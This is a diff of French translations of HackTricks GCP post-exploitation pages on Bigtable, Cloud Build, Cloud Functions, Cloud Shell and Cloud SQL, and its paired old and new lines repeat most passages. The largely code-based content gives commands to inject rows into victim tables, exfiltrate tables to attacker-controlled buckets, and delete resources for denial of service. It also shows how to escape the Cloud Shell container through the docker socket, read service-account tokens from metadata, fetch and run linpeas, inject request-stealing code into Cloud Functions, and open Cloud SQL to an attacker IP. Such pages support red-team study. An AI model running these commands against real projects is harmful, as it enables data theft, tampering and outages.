Utilisez le même outil pour insérer ou mettre à jour des cellules arbitraires. C'est le moyen le plus rapide pour backdoor des configs, déposer des web shells, ou implanter des poisoned dataset rows.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Injecter une ligne malveillante</summary>
|
||||
```bash
|
||||
# Inject a new row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> set <table> <row-key> <family>:<column>=<value>
|
||||
@@ -44,16 +60,22 @@ cbt -project=<victim-proj> -instance=<instance-id> set <table-id> user#1337 prof
|
||||
# Verify the injected row
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id> rows=user#1337
|
||||
```
|
||||
`cbt set` accepte des octets bruts via la syntaxe `@/path`, vous pouvez donc pousser des compiled payloads ou des serialized protobufs exactement comme les downstream services s'y attendent.
|
||||
</details>
|
||||
|
||||
`cbt set` accepte des octets bruts via la syntaxe `@/path`, donc vous pouvez pousser compiled payloads ou serialized protobufs exactement comme les services en aval s'y attendent.
|
||||
|
||||
### Exporter les lignes vers votre bucket
|
||||
|
||||
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
**Autorisations :** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Il est possible d'exfiltrer le contenu d'une table entière vers un bucket contrôlé par l'attaquant en lançant un job Dataflow qui envoie les lignes vers un bucket GCS que vous contrôlez.
|
||||
Il est possible d'exfiltrer le contenu d'une table entière vers un bucket contrôlé par l'attaquant en lançant un job Dataflow qui envoie les lignes en continu dans un bucket GCS que vous contrôlez.
|
||||
|
||||
> [!NOTE]
|
||||
> Notez que vous aurez besoin de la permission `iam.serviceAccounts.actAs` sur un SA disposant de permissions suffisantes pour effectuer l'export (par défaut, si cela n'est pas indiqué autrement, le default compute SA sera utilisé).
|
||||
> Notez que vous aurez besoin de l'autorisation `iam.serviceAccounts.actAs` sur un SA disposant des permissions suffisantes pour effectuer l'export (par défaut, sauf indication contraire, le compute SA par défaut sera utilisé).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exporter Bigtable vers un bucket GCS</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
@@ -70,19 +92,25 @@ gcloud dataflow jobs run dump-bigtable3 \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,filenamePrefix=prefx,outputDirectory=gs://deleteme20u9843rhfioue/raw-json/ \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Changez le modèle pour `Cloud_Bigtable_to_GCS_Parquet` ou `Cloud_Bigtable_to_GCS_SequenceFile` si vous voulez des sorties Parquet/SequenceFile au lieu de JSON. Les permissions sont les mêmes ; seul le chemin du modèle change.
|
||||
> Basculez le template sur `Cloud_Bigtable_to_GCS_Parquet` ou `Cloud_Bigtable_to_GCS_SequenceFile` si vous voulez des sorties Parquet/SequenceFile au lieu de JSON. Les permissions sont les mêmes ; seul le chemin du template change.
|
||||
|
||||
### Importer des lignes
|
||||
|
||||
**Autorisations:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
**Permissions:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Il est possible d'importer le contenu d'une table entière depuis un bucket contrôlé par l'attaquant en lançant un job Dataflow qui stream des lignes vers un bucket GCS que vous contrôlez. Pour cela, l'attaquant devra d'abord créer un fichier parquet contenant les données à importer avec le schéma attendu. Un attaquant pourrait d'abord exporter les données au format parquet en suivant la technique précédente avec le paramètre `Cloud_Bigtable_to_GCS_Parquet` et ajouter de nouvelles entrées dans le fichier parquet téléchargé
|
||||
Il est possible d'importer le contenu d'une table entière depuis un bucket contrôlé par l'attaquant en lançant un job Dataflow qui stream des lignes vers un bucket GCS que vous contrôlez. Pour cela, l'attaquant devra d'abord créer un fichier parquet contenant les données à importer avec le schéma attendu. Un attaquant pourrait d'abord exporter les données au format parquet en suivant la technique précédente avec le réglage `Cloud_Bigtable_to_GCS_Parquet` puis ajouter de nouvelles entrées dans le fichier parquet téléchargé.
|
||||
|
||||
|
||||
|
||||
> [!NOTE]
|
||||
> Notez que vous aurez besoin de l'autorisation `iam.serviceAccounts.actAs` sur un SA disposant des permissions suffisantes pour effectuer l'export (par défaut, si rien d'autre n'est indiqué, le SA compute par défaut sera utilisé).
|
||||
> Notez que vous aurez besoin de la permission `iam.serviceAccounts.actAs` sur un certain SA disposant de suffisamment de permissions pour effectuer l'export (par défaut, si cela n'est pas indiqué autrement, le SA compute par défaut sera utilisé).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Importer depuis un bucket GCS vers Bigtable</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--region=<REGION> \
|
||||
@@ -99,11 +127,17 @@ gcloud dataflow jobs run import-bt-$(date +%s) \
|
||||
--parameters=bigtableProjectId=gcp-labs-3uis1xlx,bigtableInstanceId=avesc-20251118172913,bigtableTableId=prod-orders,inputFilePattern=gs://deleteme20u9843rhfioue/import/parquet_prefx-00000-of-00001.parquet \
|
||||
--staging-location=gs://deleteme20u9843rhfioue/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
### Restauration des sauvegardes
|
||||
|
||||
**Permissions:** `bigtable.backups.restore`, `bigtable.tables.create`.
|
||||
|
||||
Un attaquant disposant de ces permissions peut restaurer une sauvegarde dans une nouvelle table sous son contrôle afin de pouvoir récupérer d'anciennes données sensibles.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Restaurer une sauvegarde Bigtable</summary>
|
||||
```bash
|
||||
gcloud bigtable backups list --instance=<INSTANCE_ID_SOURCE> \
|
||||
--cluster=<CLUSTER_ID_SOURCE>
|
||||
@@ -115,16 +149,22 @@ gcloud bigtable instances tables restore \
|
||||
--destination-instance=<INSTANCE_ID_DESTINATION> \
|
||||
--project=<PROJECT_ID_DESTINATION>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Restaurer des tables
|
||||
|
||||
**Permissions:** `bigtable.tables.undelete`
|
||||
**Permissions :** `bigtable.tables.undelete`
|
||||
|
||||
Bigtable prend en charge la suppression temporaire avec une période de grâce (généralement 7 jours par défaut). Pendant cette fenêtre, un attaquant disposant de l'autorisation `bigtable.tables.undelete` peut restaurer une table récemment supprimée et récupérer toutes ses données, pouvant accéder à des informations sensibles considérées comme détruites.
|
||||
Bigtable prend en charge la suppression logique (soft-deletion) avec une période de grâce (généralement 7 jours par défaut). Pendant cette fenêtre, un attaquant disposant de la permission `bigtable.tables.undelete` peut restaurer une table récemment supprimée et récupérer toutes ses données, accédant potentiellement à des informations sensibles censées avoir été détruites.
|
||||
|
||||
Ceci est particulièrement utile pour :
|
||||
- Récupérer des données depuis des tables supprimées par les défenseurs lors de la réponse aux incidents
|
||||
- Récupérer des données de tables supprimées par les défenseurs lors d'une réponse à incident
|
||||
- Accéder à des données historiques qui ont été intentionnellement purgées
|
||||
- Annuler des suppressions accidentelles ou malveillantes pour maintenir la persistance
|
||||
- Inverser des suppressions accidentelles ou malveillantes pour maintenir la persistance
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Restaurer une table Bigtable</summary>
|
||||
```bash
|
||||
# List recently deleted tables (requires bigtable.tables.list)
|
||||
gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
@@ -134,18 +174,24 @@ gcloud bigtable instances tables list --instance=<instance-id> \
|
||||
gcloud bigtable instances tables undelete <table-id> \
|
||||
--instance=<instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> L'opération undelete ne fonctionne que dans la période de rétention configurée (par défaut 7 jours). Après l'expiration de cette fenêtre, la table et ses données sont définitivement supprimées et ne peuvent pas être récupérées par cette méthode.
|
||||
> L'opération undelete ne fonctionne que pendant la période de rétention configurée (par défaut 7 jours). Après l'expiration de cette fenêtre, la table et ses données sont définitivement supprimées et ne peuvent pas être récupérées par cette méthode.
|
||||
|
||||
|
||||
### Créer des Authorized Views
|
||||
### Create Authorized Views
|
||||
|
||||
**Autorisations :** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
**Autorisations:** `bigtable.authorizedViews.create`, `bigtable.tables.readRows`, `bigtable.tables.mutateRows`
|
||||
|
||||
Authorized views vous permettent de présenter un sous-ensemble sélectionné de la table. Au lieu de respecter le principe du moindre privilège, utilisez-les pour publier **exactement les ensembles de colonnes/lignes sensibles** qui vous intéressent et whitelist your own principal.
|
||||
Authorized views vous permettent de présenter un sous-ensemble sélectionné de la table. Au lieu de respecter least privilege, utilisez-les pour publier **exactement les ensembles de colonnes/lignes sensibles** qui vous intéressent et mettre votre propre principal sur liste blanche.
|
||||
|
||||
> [!WARNING]
|
||||
> Le problème est que pour créer une authorized view, vous devez aussi pouvoir lire et muter des lignes dans la table de base ; vous n'obtenez donc aucune permission supplémentaire, et cette technique est donc essentiellement inutile.
|
||||
> Le problème est que pour créer une authorized view vous devez aussi être capable de read and mutate rows dans la table de base ; par conséquent vous n'obtenez aucune permission supplémentaire et cette technique est donc principalement inutile.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer une authorized view</summary>
|
||||
```bash
|
||||
cat <<'EOF' > /tmp/credit-cards.json
|
||||
{
|
||||
@@ -168,13 +214,19 @@ gcloud bigtable authorized-views add-iam-policy-binding card-dump \
|
||||
--instance=<instance-id> --table=<table-id> \
|
||||
--member='user:<attacker@example.com>' --role='roles/bigtable.reader'
|
||||
```
|
||||
Comme l'accès est limité à la view, les défenseurs négligent souvent le fait que vous venez de créer un nouveau point de terminaison à haute sensibilité.
|
||||
</details>
|
||||
|
||||
### Read Authorized Views
|
||||
Parce que l'accès est limité à la vue, les défenseurs négligent souvent le fait que vous venez de créer un nouvel endpoint à haute sensibilité.
|
||||
|
||||
**Permissions:** `bigtable.authorizedViews.readRows`
|
||||
### Lire les vues autorisées
|
||||
|
||||
Si vous avez accès à un Authorized View, vous pouvez lire des données depuis celui-ci en utilisant les bibliothèques clientes Bigtable en spécifiant le nom de l'Authorized View dans vos requêtes de lecture. Notez que l'Authorized View limitera probablement ce à quoi vous avez accès dans la table. Ci-dessous un exemple en Python:
|
||||
**Autorisations :** `bigtable.authorizedViews.readRows`
|
||||
|
||||
Si vous avez accès à une vue autorisée, vous pouvez lire ses données en utilisant les bibliothèques clientes Bigtable en spécifiant le nom de la vue autorisée dans vos requêtes de lecture. Notez que la vue autorisée limitera probablement ce à quoi vous pouvez accéder dans la table. Ci‑dessous un exemple en Python :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lire depuis une vue autorisée (Python)</summary>
|
||||
```python
|
||||
from google.cloud import bigtable
|
||||
from google.cloud.bigtable_v2 import BigtableClient as DataClient
|
||||
@@ -209,19 +261,25 @@ qualifier = chunk.qualifier.value.decode('utf-8') if hasattr(chunk.qualifier, 'v
|
||||
value = chunk.value.decode('utf-8') if isinstance(chunk.value, bytes) else str(chunk.value)
|
||||
print(f" {family}:{qualifier} = {value}")
|
||||
```
|
||||
### Denial of Service via Delete Operations
|
||||
</details>
|
||||
|
||||
**Autorisations :** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
### Denial of Service via opérations de suppression
|
||||
|
||||
Toutes les permissions de suppression de Bigtable peuvent être exploitées pour des denial of service attacks. Un attaquant disposant de ces autorisations peut perturber les opérations en supprimant des ressources Bigtable critiques :
|
||||
**Permissions :** `bigtable.appProfiles.delete`, `bigtable.authorizedViews.delete`, `bigtable.authorizedViews.deleteTagBinding`, `bigtable.backups.delete`, `bigtable.clusters.delete`, `bigtable.instances.delete`, `bigtable.tables.delete`
|
||||
|
||||
- **`bigtable.appProfiles.delete`**: Supprimer les profils d'application, rompant les connexions clientes et les configurations de routage
|
||||
- **`bigtable.authorizedViews.delete`**: Retirer des vues autorisées, coupant les chemins d'accès légitimes pour les applications
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`**: Supprimer les liaisons de tags des vues autorisées
|
||||
- **`bigtable.backups.delete`**: Détruire les instantanés de sauvegarde, éliminant les options de reprise après sinistre
|
||||
- **`bigtable.clusters.delete`**: Supprimer des clusters entiers, provoquant une indisponibilité immédiate des données
|
||||
- **`bigtable.instances.delete`**: Supprimer des instances Bigtable complètes, effaçant toutes les tables et configurations
|
||||
- **`bigtable.tables.delete`**: Supprimer des tables individuelles, entraînant une perte de données et des défaillances d'application
|
||||
Toute permission de suppression de Bigtable peut être utilisée comme arme pour des attaques de denial of service. Un attaquant disposant de ces permissions peut perturber les opérations en supprimant des ressources Bigtable critiques :
|
||||
|
||||
- **`bigtable.appProfiles.delete`** : Supprimer des profils d'application, interrompant les connexions clients et les configurations de routage
|
||||
- **`bigtable.authorizedViews.delete`** : Supprimer des vues autorisées, coupant les chemins d'accès légitimes pour les applications
|
||||
- **`bigtable.authorizedViews.deleteTagBinding`** : Supprimer les liaisons de tags des vues autorisées
|
||||
- **`bigtable.backups.delete`** : Détruire les instantanés de sauvegarde, éliminant les options de reprise après sinistre
|
||||
- **`bigtable.clusters.delete`** : Supprimer des clusters entiers, provoquant une indisponibilité immédiate des données
|
||||
- **`bigtable.instances.delete`** : Supprimer des instances Bigtable complètes, effaçant toutes les tables et configurations
|
||||
- **`bigtable.tables.delete`** : Supprimer des tables individuelles, provoquant une perte de données et des pannes d'application
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supprimer des ressources Bigtable</summary>
|
||||
```bash
|
||||
# Delete a table
|
||||
gcloud bigtable instances tables delete <table-id> \
|
||||
@@ -246,7 +304,9 @@ gcloud bigtable clusters delete <cluster-id> \
|
||||
# Delete an entire instance
|
||||
gcloud bigtable instances delete <instance-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!WARNING]
|
||||
> Les opérations de suppression sont souvent immédiates et irréversibles. Assurez-vous que des sauvegardes existent avant de tester ces commandes, car elles peuvent provoquer une perte de données permanente et une interruption majeure du service.
|
||||
> Les opérations de suppression sont souvent immédiates et irréversibles. Assurez-vous que des sauvegardes existent avant de tester ces commandes, car elles peuvent provoquer une perte de données permanente et une grave interruption du service.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+7
-1
@@ -1,4 +1,4 @@
|
||||
# GCP - Post-exploitation de Cloud Build
|
||||
# GCP - Cloud Build Post-exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -13,6 +13,10 @@ Pour plus d'informations sur Cloud Build, consultez :
|
||||
### `cloudbuild.builds.approve`
|
||||
|
||||
Avec cette permission, vous pouvez approuver l'exécution d'un **codebuild qui nécessite des approbations**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Approuver l'exécution d'un Cloud Build</summary>
|
||||
```bash
|
||||
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
|
||||
curl -X POST \
|
||||
@@ -24,4 +28,6 @@ object (ApprovalResult)
|
||||
}}' \
|
||||
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+20
-6
@@ -1,10 +1,10 @@
|
||||
# GCP - Post-exploitation des Cloud Functions
|
||||
# GCP - Cloud Functions Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Trouvez des informations sur les Cloud Functions dans :
|
||||
Trouvez des informations sur Cloud Functions dans :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,20 +12,30 @@ Trouvez des informations sur les Cloud Functions dans :
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
Avec cette permission, vous pouvez obtenir une **URL signée pour pouvoir télécharger le code source** de la Cloud Function :
|
||||
Avec cette permission, vous pouvez obtenir une **URL signée pour télécharger le code source** de la Cloud Function :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obtenir une URL signée pour télécharger le code source</summary>
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
### Voler des requêtes de Cloud Function
|
||||
</details>
|
||||
|
||||
Si la Cloud Function gère des informations sensibles que les utilisateurs envoient (par exemple, des mots de passe ou des jetons), avec suffisamment de privilèges, vous pourriez **modifier le code source de la fonction et exfiltrer** ces informations.
|
||||
### Voler les requêtes de Cloud Function
|
||||
|
||||
De plus, les Cloud Functions exécutées en python utilisent **flask** pour exposer le serveur web. Si vous trouvez d'une manière ou d'une autre une vulnérabilité d'injection de code à l'intérieur du processus flaks (une vulnérabilité SSTI par exemple), il est possible de **remplacer le gestionnaire de fonction** qui va recevoir les requêtes HTTP par une **fonction malveillante** qui peut **exfiltrer la requête** avant de la transmettre au gestionnaire légitime.
|
||||
Si la Cloud Function gère des informations sensibles envoyées par les utilisateurs (par ex. passwords ou tokens), avec des privilèges suffisants vous pourriez **modify the source code of the function and exfiltrate** ces informations.
|
||||
|
||||
De plus, les Cloud Functions exécutées en python utilisent **flask** pour exposer le serveur web. Si vous trouvez d'une manière ou d'une autre une vulnérabilité d'injection de code dans le processus flaks (par exemple une vulnérabilité SSTI), il est possible de **override the function handler** qui va recevoir les HTTP requests pour une **malicious function** capable de **exfiltrate the request** avant de la transmettre au legit handler.
|
||||
|
||||
Par exemple, ce code implémente l'attaque :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Voler les requêtes de Cloud Function (Python injection)</summary>
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -122,4 +132,8 @@ return "Injection completed!"
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+76
-16
@@ -1,4 +1,4 @@
|
||||
# GCP - Post-exploitation de Cloud Shell
|
||||
# GCP - Cloud Shell Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,24 +10,40 @@ Pour plus d'informations sur Cloud Shell, consultez :
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Évasion de conteneur
|
||||
### Container Escape
|
||||
|
||||
Notez que Google Cloud Shell s'exécute à l'intérieur d'un conteneur, vous pouvez **facilement échapper à l'hôte** en faisant :
|
||||
Notez que Google Cloud Shell s'exécute dans un container : vous pouvez **easily escape to the host** en faisant :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
Cela n'est pas considéré comme une vulnérabilité par Google, mais cela vous donne une vision plus large de ce qui se passe dans cet environnement.
|
||||
</details>
|
||||
|
||||
De plus, notez qu'à partir de l'hôte, vous pouvez trouver un jeton de compte de service :
|
||||
Ceci n'est pas considéré comme une vulnérabilité par google, mais cela vous donne une vision plus large de ce qui se passe dans cet environnement.
|
||||
|
||||
De plus, notez que depuis l'hôte, vous pouvez trouver un service account token :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Récupérer le service account depuis les metadata</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
Avec les portées suivantes :
|
||||
</details>
|
||||
|
||||
Avec les scopes suivants :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obtenir les scopes du compte de service</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -35,48 +51,92 @@ https://www.googleapis.com/auth/devstorage.read_only
|
||||
https://www.googleapis.com/auth/logging.write
|
||||
https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
Énumérer les métadonnées avec LinPEAS :
|
||||
</details>
|
||||
|
||||
Énumérer les métadonnées avec LinPEAS :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Énumérer les métadonnées avec LinPEAS</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
</details>
|
||||
|
||||
Après avoir utilisé [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) avec le token du Service Account **aucune permission n'a été découverte**...
|
||||
|
||||
### Utilisez-le comme Proxy
|
||||
### L'utiliser comme proxy
|
||||
|
||||
Si vous souhaitez utiliser votre instance de google cloud shell comme proxy, vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) :
|
||||
Si vous voulez utiliser votre instance google cloud shell comme proxy, vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Installer Squid proxy</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
```
|
||||
Créez un fichier **squid.conf** avec les paramètres suivants :
|
||||
</details>
|
||||
|
||||
À titre d'information, Squid est un serveur proxy http. Créez un fichier **squid.conf** avec les paramètres suivants :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create squid.conf file</summary>
|
||||
```bash
|
||||
http_port 3128
|
||||
cache_dir /var/cache/squid 100 16 256
|
||||
acl all src 0.0.0.0/0
|
||||
http_access allow all
|
||||
```
|
||||
copiez le fichier **squid.conf** dans **/etc/squid**
|
||||
</details>
|
||||
|
||||
Copiez le fichier **squid.conf** dans **/etc/squid**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Copier la configuration dans /etc/squid</summary>
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
Enfin, exécutez le service squid :
|
||||
</details>
|
||||
|
||||
Enfin, lancez le service squid :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Démarrer le service squid</summary>
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
Utilisez ngrok pour rendre le proxy accessible de l'extérieur :
|
||||
</details>
|
||||
|
||||
Utilisez ngrok pour rendre le proxy accessible depuis l'extérieur :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exposer le proxy avec ngrok</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
Après avoir exécuté, copiez l'URL tcp://. Si vous souhaitez exécuter le proxy depuis un navigateur, il est conseillé de supprimer la partie tcp:// et le port, puis de mettre le port dans le champ de port des paramètres de proxy de votre navigateur (squid est un serveur proxy http).
|
||||
</details>
|
||||
|
||||
Pour une meilleure utilisation au démarrage, le fichier .bashrc devrait contenir les lignes suivantes :
|
||||
Après exécution, copiez l'URL tcp://. Si vous souhaitez lancer le proxy depuis un browser, il est conseillé de retirer la partie tcp:// ainsi que le numéro de port, puis de mettre ce port dans le champ de port des paramètres proxy de votre browser (squid est un http proxy server).
|
||||
|
||||
Pour un meilleur fonctionnement au démarrage le fichier .bashrc doit contenir les lignes suivantes :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ajouter à .bashrc pour un démarrage automatique</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
sudo service squid start
|
||||
cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
Les instructions ont été copiées depuis [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Consultez cette page pour d'autres idées folles pour exécuter tout type de logiciel (bases de données et même Windows) dans Cloud Shell.
|
||||
</details>
|
||||
|
||||
Les instructions ont été copiées depuis [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Consultez cette page pour d'autres idées folles pour exécuter n'importe quel type de logiciel (databases et même windows) dans Cloud Shell.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+64
-10
@@ -1,4 +1,4 @@
|
||||
# GCP - Post-exploitation de Cloud SQL
|
||||
# GCP - Cloud SQL Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,11 @@ Pour plus d'informations sur Cloud SQL, consultez :
|
||||
|
||||
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
|
||||
|
||||
Pour se connecter aux bases de données, vous **avez juste besoin d'accéder au port de la base de données** et de connaître le **nom d'utilisateur** et le **mot de passe**, il n'y a pas d'exigences IAM. Donc, un moyen facile d'accéder, en supposant que la base de données a une adresse IP publique, est de mettre à jour les réseaux autorisés et **permettre à votre propre adresse IP d'y accéder**.
|
||||
Pour se connecter aux bases de données, vous **avez simplement besoin d'accéder au port de la base de données** et de connaître le **nom d'utilisateur** et le **mot de passe** ; il n'y a aucune exigence IAM. Ainsi, un moyen simple d'obtenir l'accès, si la base de données possède une adresse IP publique, est de mettre à jour les réseaux autorisés et **d'autoriser votre propre adresse IP à y accéder**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Autoriser votre adresse IP et se connecter à la base de données</summary>
|
||||
```bash
|
||||
# Use --assign-ip to make the database get a public IPv4
|
||||
gcloud sql instances patch $INSTANCE_NAME \
|
||||
@@ -25,61 +29,111 @@ mysql -h <ip_db> # If mysql
|
||||
# With cloudsql.instances.get you can use gcloud directly
|
||||
gcloud sql connect mysql --user=root --quiet
|
||||
```
|
||||
Il est également possible d'utiliser **`--no-backup`** pour **perturber les sauvegardes** de la base de données.
|
||||
</details>
|
||||
|
||||
Comme ce sont les exigences, je ne suis pas complètement sûr de ce que sont les permissions **`cloudsql.instances.connect`** et **`cloudsql.instances.login`**. Si vous le savez, envoyez une PR !
|
||||
Il est aussi possible d'utiliser **`--no-backup`** pour **perturber les sauvegardes** de la base de données.
|
||||
|
||||
Comme ce sont les exigences, je ne suis pas complètement sûr de l'utilité des permissions **`cloudsql.instances.connect`** et **`cloudsql.instances.login`**. Si vous le savez, envoyez une PR!
|
||||
|
||||
### `cloudsql.users.list`
|
||||
|
||||
Obtenez une **liste de tous les utilisateurs** de la base de données :
|
||||
Obtenir une **liste de tous les utilisateurs** de la base de données :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Liste des utilisateurs de la base de données</summary>
|
||||
```bash
|
||||
gcloud sql users list --instance <intance-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.create`
|
||||
|
||||
Cette permission permet de **créer un nouvel utilisateur à l'intérieur** de la base de données :
|
||||
Cette permission permet de **créer un nouvel utilisateur dans** la base de données:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Créer un utilisateur de base de données</summary>
|
||||
```bash
|
||||
gcloud sql users create <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.users.update`
|
||||
|
||||
Cette permission permet de **mettre à jour un utilisateur à l'intérieur** de la base de données. Par exemple, vous pourriez changer son mot de passe :
|
||||
Cette permission permet de **mettre à jour un utilisateur dans** la base de données. Par exemple, vous pourriez changer son mot de passe :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mettre à jour le mot de passe de l'utilisateur</summary>
|
||||
```bash
|
||||
gcloud sql users set-password <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
|
||||
|
||||
Les sauvegardes peuvent contenir **de vieilles informations sensibles**, il est donc intéressant de les vérifier.\
|
||||
**Restaurer une sauvegarde** dans une base de données :
|
||||
Les sauvegardes peuvent contenir des **anciennes informations sensibles**, il est donc intéressant de les vérifier.\
|
||||
**Restaurer une sauvegarde** dans une base de données:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Restaurer la sauvegarde de la base de données</summary>
|
||||
```bash
|
||||
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
|
||||
```
|
||||
